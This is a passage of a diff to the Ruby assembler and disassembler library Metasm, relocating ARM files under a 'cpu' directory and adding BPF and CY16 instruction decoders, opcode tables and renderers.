addop_t 'push', 0b1011_0100 << 8, :rlist
|
||||
addop_t 'push', 0b1011_0101 << 8, :rlist
|
||||
addop_t 'pop', 0b1011_1100 << 8, :rlist
|
||||
addop_t 'pop', 0b1011_1101 << 8, :rlist
|
||||
#addop_t 'unpredictable', 0b1011_0110_0100_0000, :i4
|
||||
addop_t 'setendle', 0b1011_0110_0101_0000
|
||||
addop_t 'setendbe', 0b1011_0110_0101_1000
|
||||
addop_t 'cps', 0b1011_0110_0110_0000
|
||||
#addop_t 'unpredictable', 0b1011_0110_0110_1000, :msk_0001_0111
|
||||
addop_t 'rev', 0b1011_1010_00 << 6, :rd, :rn
|
||||
addop_t 'rev16', 0b1011_1010_01 << 6, :rd, :rn
|
||||
addop_t 'revsh', 0b1011_1010_11 << 6, :rd, :rn
|
||||
addop_t 'bkpt', 0b1011_1110 << 8, :i8
|
||||
addop_t 'it', 0b1011_1111 << 8, :itcond, :itmsk
|
||||
addop_t 'nop', 0b1011_1111_0000_0000
|
||||
addop_t 'yield', 0b1011_1111_0000_0001
|
||||
addop_t 'wfe', 0b1011_1111_0000_0010
|
||||
addop_t 'wfi', 0b1011_1111_0000_0011
|
||||
addop_t 'sev', 0b1011_1111_0000_0100
|
||||
addop_t 'nop', 0b1011_1111_0000_0000, :i4
|
||||
|
||||
|
||||
addop_t 'stmia', 0b11000 << 11, :rn, :rlist # stmea
|
||||
addop_t 'ldmia', 0b11001 << 11, :rn, :rlist # ldmfd
|
||||
addop_t 'undef', 0b1101_1110 << 8, :i8
|
||||
addop_t 'svc', 0b1101_1111 << 8, :i8
|
||||
addop_t 'b', 0b1101 << 12, :cond, :i8
|
||||
addop_t 'b', 0b11100 << 11, :i11
|
||||
|
||||
# thumb-32
|
||||
end
|
||||
|
||||
def init_arm_v6_thumb2
|
||||
init_arm_v6
|
||||
init_arm_thumb2
|
||||
end
|
||||
alias init_latest init_arm_v6_thumb2
|
||||
end
|
||||
end
|
|
@ -4,7 +4,7 @@
|
|||
# Licence is LGPL, see LICENCE in the top-level directory
|
||||
|
||||
|
||||
require 'metasm/arm/opcodes'
|
||||
require 'metasm/cpu/arm/opcodes'
|
||||
require 'metasm/parse'
|
||||
|
||||
module Metasm
|
||||
|
@ -26,24 +26,32 @@ class ARM
|
|||
|
||||
def parse_arg_valid?(op, sym, arg)
|
||||
case sym
|
||||
when :rd, :rs, :rn, :rm; arg.kind_of? Reg and arg.shift == 0 and (arg.updated ? op.props[:baseincr] : !op.props[:baseincr])
|
||||
when :rm_rs; arg.kind_of? Reg and arg.shift.kind_of? Reg
|
||||
when :rm_is; arg.kind_of? Reg and arg.shift.kind_of? Integer
|
||||
when :i16, :i24, :i8_12, :i8_r; arg.kind_of? Expression
|
||||
when :rd, :rs, :rn, :rm; arg.kind_of?(Reg) and arg.shift == 0 and (arg.updated ? op.props[:baseincr] : !op.props[:baseincr])
|
||||
when :rm_rs; arg.kind_of?(Reg) and arg.shift.kind_of?(Reg)
|
||||
when :rm_is; arg.kind_of?(Reg) and arg.shift.kind_of?(Integer)
|
||||
when :i12, :i24, :i8_12; arg.kind_of?(Expression)
|
||||
when :i8_r
|
||||
if arg.kind_of?(Expression)
|
||||
b = arg.reduce
|
||||
!b.kind_of?(Integer) or (0..15).find {
|
||||
b = ((b << 2) & 0xffff_ffff) | ((b >> 30) & 3)
|
||||
b < 0x100 }
|
||||
end
|
||||
when :mem_rn_rm, :mem_rn_i8_12, :mem_rn_rms, :mem_rn_i12
|
||||
os = case sym
|
||||
when :mem_rn_rm; :rm
|
||||
when :mem_rn_i8_12; :i8_12
|
||||
when :mem_rn_rms; :rm_rs
|
||||
when :mem_rn_i12; :i16
|
||||
when :mem_rn_i12; :i12
|
||||
end
|
||||
arg.kind_of? Memref and parse_arg_valid?(op, os, arg.offset)
|
||||
when :reglist; arg.kind_of? RegList
|
||||
arg.kind_of?(Memref) and parse_arg_valid?(op, os, arg.offset)
|
||||
when :reglist; arg.kind_of?(RegList)
|
||||
end
|
||||
# TODO check flags on reglist, check int values
|
||||
end
|
||||
|
||||
def parse_argument(lexer)
|
||||
raise lexer, "unexpected EOS" if not lexer.nexttok
|
||||
if Reg.s_to_i[lexer.nexttok.raw]
|
||||
arg = Reg.new Reg.s_to_i[lexer.readtok.raw]
|
||||
lexer.skip_space
|
||||
|
@ -62,22 +70,24 @@ class ARM
|
|||
when '!'
|
||||
lexer.readtok
|
||||
arg.updated = true
|
||||
end
|
||||
end if lexer.nexttok
|
||||
elsif lexer.nexttok.raw == '{'
|
||||
lexer.readtok
|
||||
arg = RegList.new
|
||||
loop do
|
||||
raise "unterminated reglist" if lexer.eos?
|
||||
lexer.skip_space
|
||||
raise "unterminated reglist" if lexer.eos?
|
||||
if Reg.s_to_i[lexer.nexttok.raw]
|
||||
arg.list << Reg.new(Reg.s_to_i[lexer.readtok.raw])
|
||||
lexer.skip_space
|
||||
raise "unterminated reglist" if lexer.eos?
|
||||
end
|
||||
case lexer.nexttok.raw
|
||||
when ','; lexer.readtok
|
||||
when '-'
|
||||
lexer.readtok
|
||||
lexer.skip_space
|
||||
raise "unterminated reglist" if lexer.eos?
|
||||
if not r = Reg.s_to_i[lexer.nexttok.raw]
|
||||
raise lexer, "reglist parse error: invalid range"
|
||||
end
|
||||
|
@ -95,20 +105,22 @@ class ARM
|
|||
end
|
||||
elsif lexer.nexttok.raw == '['
|
||||
lexer.readtok
|
||||
raise "unexpected EOS" if lexer.eos?
|
||||
if not base = Reg.s_to_i[lexer.nexttok.raw]
|
||||
raise lexer, 'invalid mem base (reg expected)'
|
||||
end
|
||||
base = Reg.new Reg.s_to_i[lexer.readtok.raw]
|
||||
raise "unexpected EOS" if lexer.eos?
|
||||
if lexer.nexttok.raw == ']'
|
||||
lexer.readtok
|
||||
closed = true
|
||||
#closed = true
|
||||
end
|
||||
if lexer.nexttok.raw != ','
|
||||
if !lexer.nexttok or lexer.nexttok.raw != ','
|
||||
raise lexer, 'mem off expected'
|
||||
end
|
||||
lexer.readtok
|
||||
off = parse_argument(lexer)
|
||||
if not off.kind_of? Expression and not off.kind_of? Reg
|
||||
if not off.kind_of?(Expression) and not off.kind_of?(Reg)
|
||||
raise lexer, 'invalid mem off (reg/imm expected)'
|
||||
end
|
||||
case lexer.nexttok and lexer.nexttok.raw
|
|
@ -4,7 +4,7 @@
|
|||
# Licence is LGPL, see LICENCE in the top-level directory
|
||||
|
||||
require 'metasm/render'
|
||||
require 'metasm/arm/opcodes'
|
||||
require 'metasm/cpu/arm/opcodes'
|
||||
|
||||
module Metasm
|
||||
class ARM
|
||||
|
@ -19,7 +19,7 @@ class ARM
|
|||
["#{r} RRX"]
|
||||
else
|
||||
case s = @shift
|
||||
when Integer; s = Expression[s]
|
||||
when Integer; s = Expression[s == 0 ? 32 : s] # lsl and ror already accounted for
|
||||
when Reg; s = self.class.i_to_s[s.i]
|
||||
end
|
||||
["#{r} #{@stype.to_s.upcase} #{s}"]
|
|
@ -5,4 +5,5 @@
|
|||
|
||||
|
||||
require 'metasm/main'
|
||||
require 'metasm/dalvik/decode'
|
||||
require 'metasm/cpu/bpf/decode'
|
||||
require 'metasm/cpu/bpf/render'
|
|
@ -0,0 +1,142 @@
|
|||
# This file is part of Metasm, the Ruby assembly manipulation suite
|
||||
# Copyright (C) 2006-2009 Yoann GUILLOT
|
||||
#
|
||||
# Licence is LGPL, see LICENCE in the top-level directory
|
||||
|
||||
|
||||
require 'metasm/cpu/bpf/opcodes'
|
||||
require 'metasm/decode'
|
||||
|
||||
module Metasm
|
||||
class BPF
|
||||
def build_bin_lookaside
|
||||
opcode_list.inject({}) { |h, op| h.update op.bin => op }
|
||||
end
|
||||
|
||||
# tries to find the opcode encoded at edata.ptr
|
||||
def decode_findopcode(edata)
|
||||
return if edata.ptr > edata.data.length-8
|
||||
di = DecodedInstruction.new self
|
||||
code = edata.data[edata.ptr, 2].unpack('v')[0]
|
||||
return di if di.opcode = @bin_lookaside[code]
|
||||
end
|
||||
|
||||
def decode_instr_op(edata, di)
|
||||
op = di.opcode
|
||||
di.instruction.opname = op.name
|
||||
di.bin_length = 8
|
||||
code, jt, jf, k = edata.read(8).unpack('vCCV')
|
||||
|
||||
op.args.each { |a|
|
||||
di.instruction.args << case a
|
||||
when :k; Expression[k]
|
||||
when :x; Reg.new(:x)
|
||||
when :a; Reg.new(:a)
|
||||
when :len; Reg.new(:len)
|
||||
when :p_k; PktRef.new(nil, Expression[k], op.props[:msz])
|
||||
when :p_xk; PktRef.new(Reg.new(:x), Expression[k], op.props[:msz])
|
||||
when :m_k; MemRef.new(nil, Expression[4*k], 4)
|
||||
when :jt; Expression[jt]
|
||||
when :jf; Expression[jf]
|
||||
else raise "unhandled arg #{a}"
|
||||
end
|
||||
}
|
||||
|
||||
# je a, x, 0, 12 -> jne a, x, 12
|
||||
# je a, x, 12, 0 -> je a, x, 12
|
||||
if op.args[2] == :jt and di.instruction.args[2] == Expression[0]
|
||||
di.opcode = op.dup
|
||||
di.opcode.props.delete :stopexec
|
||||
di.instruction.opname = { 'jg' => 'jle', 'jge' => 'jl', 'je' => 'jne', 'jtest' => 'jntest' }[di.instruction.opname]
|
||||
di.instruction.args.delete_at(2)
|
||||
elsif op.args[3] == :jf and di.instruction.args[3] == Expression[0]
|
||||
di.opcode = op.dup
|
||||
di.opcode.props.delete :stopexec
|
||||
di.instruction.args.delete_at(3)
|
||||
end
|
||||
|
||||
di
|
||||
end
|
||||
|
||||
def decode_instr_interpret(di, addr)
|
||||
if di.opcode.props[:setip]
|
||||
delta = di.instruction.args[-1].reduce + 1
|
||||
arg = Expression[addr, :+, 8*delta].reduce
|
||||
di.instruction.args[-1] = Expression[arg]
|
||||
|
||||
if di.instruction.args.length == 4
|
||||
delta = di.instruction.args[2].reduce + 1
|
||||
arg = Expression[addr, :+, 8*delta].reduce
|
||||
di.instruction.args[2] = Expression[arg]
|
||||
end
|
||||
end
|
||||
|
||||
di
|
||||
end
|
||||
|
||||
# hash opcode_name => lambda { |dasm, di, *symbolic_args| instr_binding }
|
||||
def backtrace_binding
|
||||
@backtrace_binding ||= init_backtrace_binding
|
||||
end
|
||||
def backtrace_binding=(b) @backtrace_binding = b end
|
||||
|
||||
# populate the @backtrace_binding hash with default values
|
||||
def init_backtrace_binding
|
||||
@backtrace_binding ||= {}
|
||||
|
||||
opcode_list.map { |ol| ol.basename }.uniq.sort.each { |op|
|
||||
binding = case op
|
||||
when 'mov'; lambda { |di, a0, a1| { a0 => Expression[a1] } }
|
||||
when 'add'; lambda { |di, a0, a1| { a0 => Expression[a0, :+, a1] } }
|
||||
when 'sub'; lambda { |di, a0, a1| { a0 => Expression[a0, :-, a1] } }
|
||||
when 'mul'; lambda { |di, a0, a1| { a0 => Expression[a0, :*, a1] } }
|
||||
when 'div'; lambda { |di, a0, a1| { a0 => Expression[a0, :/, a1] } }
|
||||
when 'shl'; lambda { |di, a0, a1| { a0 => Expression[a0, :<<, a1] } }
|
||||
when 'shr'; lambda { |di, a0, a1| { a0 => Expression[a0, :>>, a1] } }
|
||||
when 'neg'; lambda { |di, a0| { a0 => Expression[:-, a0] } }
|
||||
when 'msh'; lambda { |di, a0, a1| { a0 => Expression[[a1, :&, 0xf], :<<, 2] } }
|
||||
when 'jmp', 'jg', 'jge', 'je', 'jtest', 'ret'; lambda { |di, *a| { } }
|
||||
end
|
||||
@backtrace_binding[op] ||= binding if binding
|
||||
}
|
||||
|
||||
@backtrace_binding
|
||||
end
|
||||
|
||||
def get_backtrace_binding(di)
|
||||
a = di.instruction.args.map { |arg|
|
||||
case arg
|
||||
when PktRef, MemRef, Reg; arg.symbolic(di)
|
||||
else arg
|
||||
end
|
||||
}
|
||||
|
||||
if binding = backtrace_binding[di.opcode.name]
|
||||
binding[di, *a]
|
||||
else
|
||||
puts "unhandled instruction to backtrace: #{di}" if $VERBOSE
|
||||
{:incomplete_binding => Expression[1]}
|
||||
end
|
||||
end
|
||||
|
||||
def get_xrefs_x(dasm, di)
|
||||
return [] if not di.opcode.props[:setip]
|
||||
|
||||
if di.instruction.args.length == 4
|
||||
di.instruction.args[-2, 2]
|
||||
else
|
||||
di.instruction.args[-1, 1]
|
||||
end
|
||||
end
|
||||
|
||||
# updates an instruction's argument replacing an expression with another (eg label renamed)
|
||||
def replace_instr_arg_immediate(i, old, new)
|
||||
i.args.map! { |a|
|
||||
case a
|
||||
when Expression; a == old ? new : Expression[a.bind(old => new).reduce]
|
||||
else a
|
||||
end
|
||||
}
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,60 @@
|
|||
# This file is part of Metasm, the Ruby assembly manipulation suite
|
||||
# Copyright (C) 2006-2009 Yoann GUILLOT
|
||||
#
|
||||
# Licence is LGPL, see LICENCE in the top-level directory
|
||||
|
||||
|
||||
require 'metasm/main'
|
||||
|
||||
module Metasm
|
||||
class BPF < CPU
|
||||
class Reg
|
||||
attr_accessor :v
|
||||
def initialize(v)
|
||||
@v = v
|
||||
end
|
||||
|
||||
def symbolic(orig=nil) ; @v ; end
|
||||
end
|
||||
|
||||
class MemRef
|
||||
attr_accessor :base, :offset, :msz
|
||||
|
||||
def memtype
|
||||
:mem
|
||||
end
|
||||
|
||||
def initialize(base, offset, msz)
|
||||
@base = base
|
||||
@offset = offset
|
||||
@msz = msz
|
||||
end
|
||||
|
||||
def symbolic(orig)
|
||||
p = Expression[memtype]
|
||||
p = Expression[p, :+, @base.symbolic] if base
|
||||
p = Expression[p, :+, @offset] if offset
|
||||
Indirection[p, @msz, orig]
|
||||
end
|
||||
end
|
||||
|
||||
class PktRef < MemRef
|
||||
def memtype
|
||||
:pkt
|
||||
end
|
||||
end
|
||||
|
||||
def initialize(family = :latest)
|
||||
super()
|
||||
@endianness = :big
|
||||
@size = 32
|
||||
@family = family
|
||||
end
|
||||
|
||||
def init_opcode_list
|
||||
send("init_#@family")
|
||||
@opcode_list
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,81 @@
|
|||
# This file is part of Metasm, the Ruby assembly manipulation suite
|
||||
# Copyright (C) 2006-2009 Yoann GUILLOT
|
||||
#
|
||||
# Licence is LGPL, see LICENCE in the top-level directory
|
||||
|
||||
require 'metasm/cpu/bpf/main'
|
||||
|
||||
module Metasm
|
||||
|
||||
class BPF
|
||||
def addop(name, bin, *args)
|
||||
o = Opcode.new name, bin
|
||||
args.each { |a|
|
||||
o.args << a if @valid_args[a]
|
||||
o.props.update a if a.kind_of?(::Hash)
|
||||
}
|
||||
@opcode_list << o
|
||||
end
|
||||
|
||||
def addop_ldx(bin, src)
|
||||
addop 'mov', bin | 0x00, :a, src
|
||||
addop 'mov', bin | 0x01, :x, src
|
||||
end
|
||||
|
||||
def addop_ldsz(bin, src)
|
||||
addop 'mov', bin | 0x00, :a, src, :msz => 4
|
||||
addop 'mov', bin | 0x08, :a, src, :msz => 2
|
||||
addop 'mov', bin | 0x10, :a, src, :msz => 1
|
||||
end
|
||||
|
||||
def addop_alu(name, bin)
|
||||
addop name, bin | 0x04, :a, :k
|
||||
addop name, bin | 0x0C, :a, :x
|
||||
end
|
||||
|
||||
def addop_j(name, bin)
|
||||
addop name, bin | 0x05 | 0x00, :a, :k, :jt, :jf, :setip => true, :stopexec => true
|
||||
addop name, bin | 0x05 | 0x08, :a, :x, :jt, :jf, :setip => true, :stopexec => true
|
||||
end
|
||||
|
||||
def init_bpf
|
||||
@opcode_list = []
|
||||
[:a, :k, :x, :len, :m_k, :p_k, :p_xk, :jt, :jf].each { |a| @valid_args[a] = true }
|
||||
|
||||
# LD/ST
|
||||
addop_ldx 0x00, :k
|
||||
addop_ldsz 0x20, :p_k
|
||||
addop_ldsz 0x40, :p_xk
|
||||
addop_ldx 0x60, :m_k
|
||||
addop_ldx 0x80, :len
|
||||
addop 'msh', 0xB1, :x, :p_k, :msz => 1
|
||||
addop 'mov', 0x02, :m_k, :a
|
||||
addop 'mov', 0x03, :m_k, :x
|
||||
|
||||
# ALU
|
||||
addop_alu 'add', 0x00
|
||||
addop_alu 'sub', 0x10
|
||||
addop_alu 'mul', 0x20
|
||||
addop_alu 'div', 0x30
|
||||
addop_alu 'or', 0x40
|
||||
addop_alu 'and', 0x50
|
||||
addop_alu 'shl', 0x60
|
||||
addop_alu 'shr', 0x70
|
||||
addop 'neg', 0x84, :a
|
||||
|
||||
# JMP
|
||||
addop 'jmp', 0x05, :k, :setip => true, :stopexec => true
|
||||
addop_j 'je', 0x10
|
||||
addop_j 'jg', 0x20
|
||||
addop_j 'jge', 0x30
|
||||
addop_j 'jtest',0x40
|
||||
addop 'ret', 0x06, :k, :stopexec => true
|
||||
addop 'ret', 0x16, :a, :stopexec => true
|
||||
|
||||
addop 'mov', 0x07, :x, :a
|
||||
addop 'mov', 0x87, :a, :x
|
||||
end
|
||||
|
||||
alias init_latest init_bpf
|
||||
end
|
||||
end
|
|
@ -0,0 +1,41 @@
|
|||
# This file is part of Metasm, the Ruby assembly manipulation suite
|
||||
# Copyright (C) 2006-2009 Yoann GUILLOT
|
||||
#
|
||||
# Licence is LGPL, see LICENCE in the top-level directory
|
||||
|
||||
|
||||
require 'metasm/cpu/bpf/opcodes'
|
||||
require 'metasm/render'
|
||||
|
||||
module Metasm
|
||||
class BPF
|
||||
class Reg
|
||||
include Renderable
|
||||
def render ; [@v.to_s] end
|
||||
end
|
||||
class MemRef
|
||||
include Renderable
|
||||
def render
|
||||
r = []
|
||||
r << memtype
|
||||
r << [nil, ' byte ', ' word ', nil, ' dword '][@msz]
|
||||
r << '['
|
||||
r << @base if @base
|
||||
r << '+' if @base and @offset
|
||||
r << @offset if @offset
|
||||
r << ']'
|
||||
end
|
||||
end
|
||||
|
||||
def render_instruction(i)
|
||||
r = []
|
||||
r << i.opname
|
||||
if not i.args.empty?
|
||||
r << ' '
|
||||
i.args.each { |a_| r << a_ << ', ' }
|
||||
r.pop
|
||||
end
|
||||
r
|
||||
end
|
||||
end
|
||||
end
|
|
@ -5,7 +5,5 @@
|
|||
|
||||
|
||||
require 'metasm/main'
|
||||
require 'metasm/ppc/parse'
|
||||
require 'metasm/ppc/encode'
|
||||
require 'metasm/ppc/decode'
|
||||
require 'metasm/ppc/decompile'
|
||||
require 'metasm/cpu/cy16/decode'
|
||||
require 'metasm/cpu/cy16/render'
|
|
@ -0,0 +1,253 @@
|
|||
# This file is part of Metasm, the Ruby assembly manipulation suite
|
||||
# Copyright (C) 2006-2009 Yoann GUILLOT
|
||||
#
|
||||
# Licence is LGPL, see LICENCE in the top-level directory
|
||||
|
||||
|
||||
require 'metasm/cpu/cy16/opcodes'
|
||||
require 'metasm/decode'
|
||||
|
||||
module Metasm
|
||||
class CY16
|
||||
def build_opcode_bin_mask(op)
|
||||
# bit = 0 if can be mutated by an field value, 1 if fixed by opcode
|
||||
op.bin_mask = 0
|
||||
op.fields.each { |f, off|
|
||||
op.bin_mask |= (@fields_mask[f] << off)
|
||||
}
|
||||
op.bin_mask ^= 0xffff
|
||||
end
|
||||
|
||||
def build_bin_lookaside
|
||||
# sets up a hash byte value => list of opcodes that may match
|
||||
# opcode.bin_mask is built here
|
||||
lookaside = Array.new(256) { [] }
|
||||
opcode_list.each { |op|
|
||||
build_opcode_bin_mask op
|
||||
b = (op.bin >> 8) & 0xff
|
||||
msk = (op.bin_mask >> 8) & 0xff
|
||||
for i in b..(b | (255^msk))
|
||||
lookaside[i] << op if i & msk == b & msk
|
||||
end
|
||||
}
|
||||
lookaside
|
||||
end
|
||||
|
||||
def decode_findopcode(edata)
|
||||
di = DecodedInstruction.new self
|
||||
return if edata.ptr+2 > edata.length
|
||||
bin = edata.decode_imm(:u16, @endianness)
|
||||
edata.ptr -= 2
|
||||
return di if di.opcode = @bin_lookaside[(bin >> 8) & 0xff].find { |op|
|
||||
bin & op.bin_mask == op.bin & op.bin_mask
|
||||
}
|
||||
end
|
||||
|
||||
|
||||
def decode_instr_op_r(val, edata)
|
||||
bw = ((val & 0b1000) > 0 ? 1 : 2)
|
||||
case val & 0b11_0000
|
||||
when 0b00_0000
|
||||
Reg.new(val)
|
||||
when 0b01_0000
|
||||
if val == 0b01_1111
|
||||
Expression[edata.decode_imm(:u16, @endianness)]
|
||||
else
|
||||
Memref.new(Reg.new(8+(val&7)), nil, bw)
|
||||
end
|
||||
when 0b10_0000
|
||||
if val & 7 == 7
|
||||
Memref.new(nil, edata.decode_imm(:u16, @endianness), bw)
|
||||
else
|
||||
Memref.new(Reg.new(8+(val&7)), nil, bw, true)
|
||||
end
|
||||
when 0b11_0000
|
||||
Memref.new(Reg.new(8+(val&7)), edata.decode_imm(:u16, @endianness), bw)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def decode_instr_op(edata, di)
|
||||
before_ptr = edata.ptr
|
||||
op = di.opcode
|
||||
di.instruction.opname = op.name
|
||||
bin = edata.decode_imm(:u16, @endianness)
|
||||
|
||||
field_val = lambda { |f|
|
||||
if off = op.fields[f]
|
||||
(bin >> off) & @fields_mask[f]
|
||||
end
|
||||
}
|
||||
|
||||
op.args.each { |a|
|
||||
di.instruction.args << case a
|
||||
when :rs, :rd; decode_instr_op_r(field_val[a], edata)
|
||||
when :o7; Expression[2*Expression.make_signed(field_val[a], 7)]
|
||||
when :x7; Expression[field_val[a]]
|
||||
when :u3; Expression[field_val[a]+1]
|
||||
else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}"
|
||||
end
|
||||
}
|
||||
|
||||
di.instruction.args.reverse!
|
||||
|
||||
di.bin_length += edata.ptr - before_ptr
|
||||
|
||||
di
|
||||
rescue InvalidRD
|
||||
end
|
||||
|
||||
def decode_instr_interpret(di, addr)
|
||||
if di.opcode.props[:setip] and di.opcode.args.last == :o7
|
||||
delta = di.instruction.args.last.reduce
|
||||
arg = Expression[[addr, :+, di.bin_length], :+, delta].reduce
|
||||
di.instruction.args[-1] = Expression[arg]
|
||||
end
|
||||
|
||||
di
|
||||
end
|
||||
|
||||
# hash opcode_name => lambda { |dasm, di, *symbolic_args| instr_binding }
|
||||
def backtrace_binding
|
||||
@backtrace_binding ||= init_backtrace_binding
|
||||
end
|
||||
def backtrace_binding=(b) @backtrace_binding = b end
|
||||
|
||||
# populate the @backtrace_binding hash with default values
|
||||
def init_backtrace_binding
|
||||
@backtrace_binding ||= {}
|
||||
|
||||
mask = 0xffff
|
||||
|
||||
opcode_list.map { |ol| ol.basename }.uniq.sort.each { |op|
|
||||
binding = case op
|
||||
when 'mov'; lambda { |di, a0, a1| { a0 => Expression[a1] } }
|
||||
when 'add', 'adc', 'sub', 'sbc', 'and', 'xor', 'or', 'addi', 'subi'
|
||||
lambda { |di, a0, a1|
|
||||
e_op = { 'add' => :+, 'adc' => :+, 'sub' => :-, 'sbc' => :-, 'and' => :&,
|
||||
'xor' => :^, 'or' => :|, 'addi' => :+, 'subi' => :- }[op]
|
||||
ret = Expression[a0, e_op, a1]
|
||||
ret = Expression[ret, e_op, :flag_c] if op == 'adc' or op == 'sbb'
|
||||
# optimises eax ^ eax => 0
|
||||
# avoid hiding memory accesses (to not hide possible fault)
|
||||
ret = Expression[ret.reduce] if not a0.kind_of? Indirection
|
||||
{ a0 => ret }
|
||||
}
|
||||
when 'cmp', 'test'; lambda { |di, *a| {} }
|
||||
when 'not'; lambda { |di, a0| { a0 => Expression[a0, :^, mask] } }
|
||||
when 'call'
|
||||
lambda { |di, a0| { :sp => Expression[:sp, :-, 2],
|
||||
Indirection[:sp, 2, di.address] => Expression[di.next_addr] }
|
||||
}
|
||||
when 'ret'; lambda { |di, *a| { :sp => Expression[:sp, :+, 2] } }
|
||||
# TODO callCC, retCC ...
|
||||
when /^j/; lambda { |di, *a| {} }
|
||||
end
|
||||
|
||||
# TODO flags ?
|
||||
|
||||
@backtrace_binding[op] ||= binding if binding
|
||||
}
|
||||
@backtrace_binding
|
||||
end
|
||||
|
||||
def get_backtrace_binding(di)
|
||||
a = di.instruction.args.map { |arg|
|
||||
case arg
|
||||
when Memref, Reg; arg.symbolic(di)
|
||||
else arg
|
||||
end
|
||||
}
|
||||
|
||||
if binding = backtrace_binding[di.opcode.basename]
|
||||
bd = {}
|
||||
di.instruction.args.each { |aa| bd[aa.base.symbolic] = Expression[aa.base.symbolic, :+, aa.sz] if aa.kind_of?(Memref) and aa.autoincr }
|
||||
bd.update binding[di, *a]
|
||||
else
|
||||
puts "unhandled instruction to backtrace: #{di}" if $VERBOSE
|
||||
# assume nothing except the 1st arg is modified
|
||||
case a[0]
|
||||
when Indirection, Symbol; { a[0] => Expression::Unknown }
|
||||
when Expression; (x = a[0].externals.first) ? { x => Expression::Unknown } : {}
|
||||
else {}
|
||||
end.update(:incomplete_binding => Expression[1])
|
||||
end
|
||||
end
|
||||
|
||||
# patch a forward binding from the backtrace binding
|
||||
def fix_fwdemu_binding(di, fbd)
|
||||
case di.opcode.name
|
||||
when 'call'; fbd[Indirection[[:sp, :-, 2], 2]] = fbd.delete(Indirection[:sp, 2])
|
||||
end
|
||||
fbd
|
||||
end
|
||||
|
||||
def get_xrefs_x(dasm, di)
|
||||
return [] if not di.opcode.props[:setip]
|
||||
|
||||
return [Indirection[:sp, 2, di.address]] if di.opcode.name =~ /^r/
|
||||
|
||||
case tg = di.instruction.args.first
|
||||
when Memref; [Expression[tg.symbolic(di)]]
|
||||
when Reg; [Expression[tg.symbolic(di)]]
|
||||
when Expression, ::Integer; [Expression[tg]]
|
||||
else
|
||||
puts "unhandled setip at #{di.address} #{di.instruction}" if $DEBUG
|
||||
[]
|
||||
end
|
||||
end
|
||||
|
||||
# checks if expr is a valid return expression matching the :saveip instruction
|
||||
def backtrace_is_function_return(expr, di=nil)
|
||||
expr = Expression[expr].reduce_rec
|
||||
expr.kind_of?(Indirection) and expr.len == 2 and expr.target == Expression[:sp]
|
||||
end
|
||||
|
||||
# updates the function backtrace_binding
|
||||
# if the function is big and no specific register is given, do nothing (the binding will be lazily updated later, on demand)
|
||||
def backtrace_update_function_binding(dasm, faddr, f, retaddrlist, *wantregs)
|
||||
b = f.backtrace_binding
|
||||
|
||||
bt_val = lambda { |r|
|
||||
next if not retaddrlist
|
||||
b[r] = Expression::Unknown
|
||||
bt = []
|
||||
retaddrlist.each { |retaddr|
|
||||
bt |= dasm.backtrace(Expression[r], retaddr, :include_start => true,
|
||||
:snapshot_addr => faddr, :origin => retaddr)
|
||||
}
|
||||
if bt.length != 1
|
||||
b[r] = Expression::Unknown
|
||||
else
|
||||
b[r] = bt.first
|
||||
end
|
||||
}
|
||||
|
||||
if not wantregs.empty?
|
||||
wantregs.each(&bt_val)
|
||||
else
|
||||
bt_val[:sp]
|
||||
end
|
||||
|
||||
b
|
||||
end
|
||||
|
||||
# returns true if the expression is an address on the stack
|
||||
def backtrace_is_stack_address(expr)
|
||||
Expression[expr].expr_externals.include?(:sp)
|
||||
end
|
||||
|
||||
# updates an instruction's argument replacing an expression with another (eg label renamed)
|
||||
def replace_instr_arg_immediate(i, old, new)
|
||||
i.args.map! { |a|
|
||||
case a
|
||||
when Expression; a == old ? new : Expression[a.bind(old => new).reduce]
|
||||
when Memref
|
||||
a.offset = (a.offset == old ? new : Expression[a.offset.bind(old => new).reduce]) if a.offset
|
||||
a
|
||||
else a
|
||||
end
|
||||
}
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,63 @@
|
|||
# This file is part of Metasm, the Ruby assembly manipulation suite
|
||||
# Copyright (C) 2006-2009 Yoann GUILLOT
|
||||
#
|
||||
# Licence is LGPL, see LICENCE in the top-level directory
|
||||
|
||||
|
||||
require 'metasm/main'
|
||||
|
||||
module Metasm
|
||||
class CY16 < CPU
|
||||
class Reg
|
||||
class << self
|
||||
attr_accessor :s_to_i, :i_to_s
|
||||
end
|
||||
@i_to_s = (0..14).inject({}) { |h, i| h.update i => "r#{i}" }
|
||||
@i_to_s[15] = 'sp'
|
||||
@s_to_i = @i_to_s.invert
|
||||
|
||||
attr_accessor :i
|
||||
def initialize(i)
|
||||
@i = i
|
||||
end
|
||||
|
||||
def symbolic(orig=nil) ; to_s.to_sym ; end
|
||||
|
||||
def self.from_str(s)
|
||||
raise "Bad name #{s.inspect}" if not x = @s_to_i[s]
|
||||
new(x)
|
||||
end
|
||||
end
|
||||
|
||||
class Memref
|
||||
attr_accessor :base, :offset, :sz, :autoincr
|
||||
def initialize(base, offset, sz=nil, autoincr=nil)
|
||||
@base = base
|
||||
offset = Expression[offset] if offset
|
||||
@offset = offset
|
||||
@sz = sz
|
||||
@autoincr = autoincr
|
||||
end
|
||||
|
||||
def symbolic(orig)
|
||||
p = nil
|
||||
p = Expression[p, :+, @base.symbolic] if base
|
||||
p = Expression[p, :+, @offset] if offset
|
||||
Indirection[p.reduce, @sz, orig]
|
||||
end
|
||||
end
|
||||
|
||||
def initialize(family = :latest)
|
||||
super()
|
||||
@endianness = :little
|
||||
@size = 16
|
||||
@family = family
|
||||
end
|
||||
|
||||
def init_opcode_list
|
||||
send("init_#@family")
|
||||
@opcode_list
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,78 @@
|
|||
# This file is part of Metasm, the Ruby assembly manipulation suite
|
||||
# Copyright (C) 2006-2009 Yoann GUILLOT
|
||||
#
|
||||
# Licence is LGPL, see LICENCE in the top-level directory
|
||||
|
||||
require 'metasm/cpu/cy16/main'
|
||||
|
||||
module Metasm
|
||||
|
||||
class CY16
|
||||
def addop(name, bin, *args)
|
||||
o = Opcode.new name, bin
|
||||
args.each { |a|
|
||||
o.args << a if @fields_mask[a] or @valid_args[a]
|
||||
o.props[a] = true if @valid_props[a]
|
||||
o.fields[a] = @fields_shift[a] if @fields_mask[a]
|
||||
